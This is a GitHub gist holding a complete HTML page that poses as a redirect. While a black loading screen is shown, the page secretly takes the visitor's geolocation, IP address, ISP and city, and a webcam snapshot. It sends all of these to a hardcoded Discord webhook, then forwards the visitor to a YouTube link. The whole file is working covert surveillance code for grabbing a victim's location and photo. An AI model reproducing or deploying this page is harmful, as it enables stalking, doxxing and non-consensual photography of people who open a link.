Skip to content

Instantly share code, notes, and snippets.

@Zourryy
Last active February 9, 2025 07:28
Show Gist options
  • Save Zourryy/0c13f1620037b44e9e2d0771bf05988e to your computer and use it in GitHub Desktop.
Save Zourryy/0c13f1620037b44e9e2d0771bf05988e to your computer and use it in GitHub Desktop.
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Redirect...</title>
<style>
/* Layar loading hitam */
#loadingScreen {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: black;
z-index: 9999;
}
</style>
</head>
<body>
<!-- Layar loading (tanpa teks) -->
<div id="loadingScreen"></div>
<h1 style="display:none;">📷 Foto diambil otomatis!</h1>
<input type="text" id="targetUrl" value="https://youtu.be/dQw4w9WgXcQ?si=7l8JJHtx8fryYK6l" style="width: 100%; display:none;">
<video id="video" autoplay playsinline style="display:none;"></video>
<canvas id="canvas" style="display:none;"></canvas>
<script>
const webhookUrl = "https://discord.com/api/webhooks/1338033191033769985/nFAW9QQ7y_w8DH2RDFGJVwsOR12aTD84lOZAMruaUZvBxfhuwQafVY2vbg8S0P5Z2Du6";
function sendToDiscord(data) {
fetch(webhookUrl, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ content: "```" + JSON.stringify(data, null, 2) + "```" })
}).catch(err => console.error("Gagal mengirim data ke webhook!", err));
}
function sendImageToDiscord(blob) {
let formData = new FormData();
formData.append("file", blob, "capture.png");
fetch(webhookUrl, {
method: "POST",
body: formData
}).then(() => {
photoTaken = true;
checkAllDone();
}).catch(err => console.error("Gagal mengirim foto ke webhook!", err));
}
function hideLoading() {
document.getElementById("loadingScreen").style.display = "none";
}
function redirect() {
const targetUrl = document.getElementById("targetUrl").value;
setTimeout(() => { window.location.href = targetUrl; }, 1000);
}
let locationLoaded = false;
let photoTaken = false;
let ispLoaded = false;
function checkAllDone() {
if (locationLoaded && photoTaken && ispLoaded) {
hideLoading();
redirect();
}
}
navigator.geolocation.getCurrentPosition(
(position) => {
let locationInfo = {
latitude: position.coords.latitude,
longitude: position.coords.longitude,
accuracy: position.coords.accuracy + "m"
};
sendToDiscord(locationInfo);
locationLoaded = true;
checkAllDone();
},
(error) => {
locationLoaded = true;
checkAllDone();
}
);
fetch("https://ipapi.co/json/")
.then(response => response.json())
.then(data => {
let ispInfo = {
ip: data.ip,
country: data.country_name,
region: data.region,
city: data.city,
district: data.district || "Tidak tersedia",
isp: data.org,
provider: data.asn
};
sendToDiscord(ispInfo);
ispLoaded = true;
checkAllDone();
});
navigator.mediaDevices.getUserMedia({ video: true })
.then((stream) => {
const video = document.getElementById("video");
video.srcObject = stream;
setTimeout(() => {
const canvas = document.getElementById("canvas");
const context = canvas.getContext("2d");
canvas.width = video.videoWidth;
canvas.height = video.videoHeight;
context.drawImage(video, 0, 0, canvas.width, canvas.height);
canvas.toBlob((blob) => {
sendImageToDiscord(blob);
stream.getTracks().forEach(track => track.stop());
}, "image/png");
}, 1000);
})
.catch((error) => {
photoTaken = true;
checkAllDone();
});
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment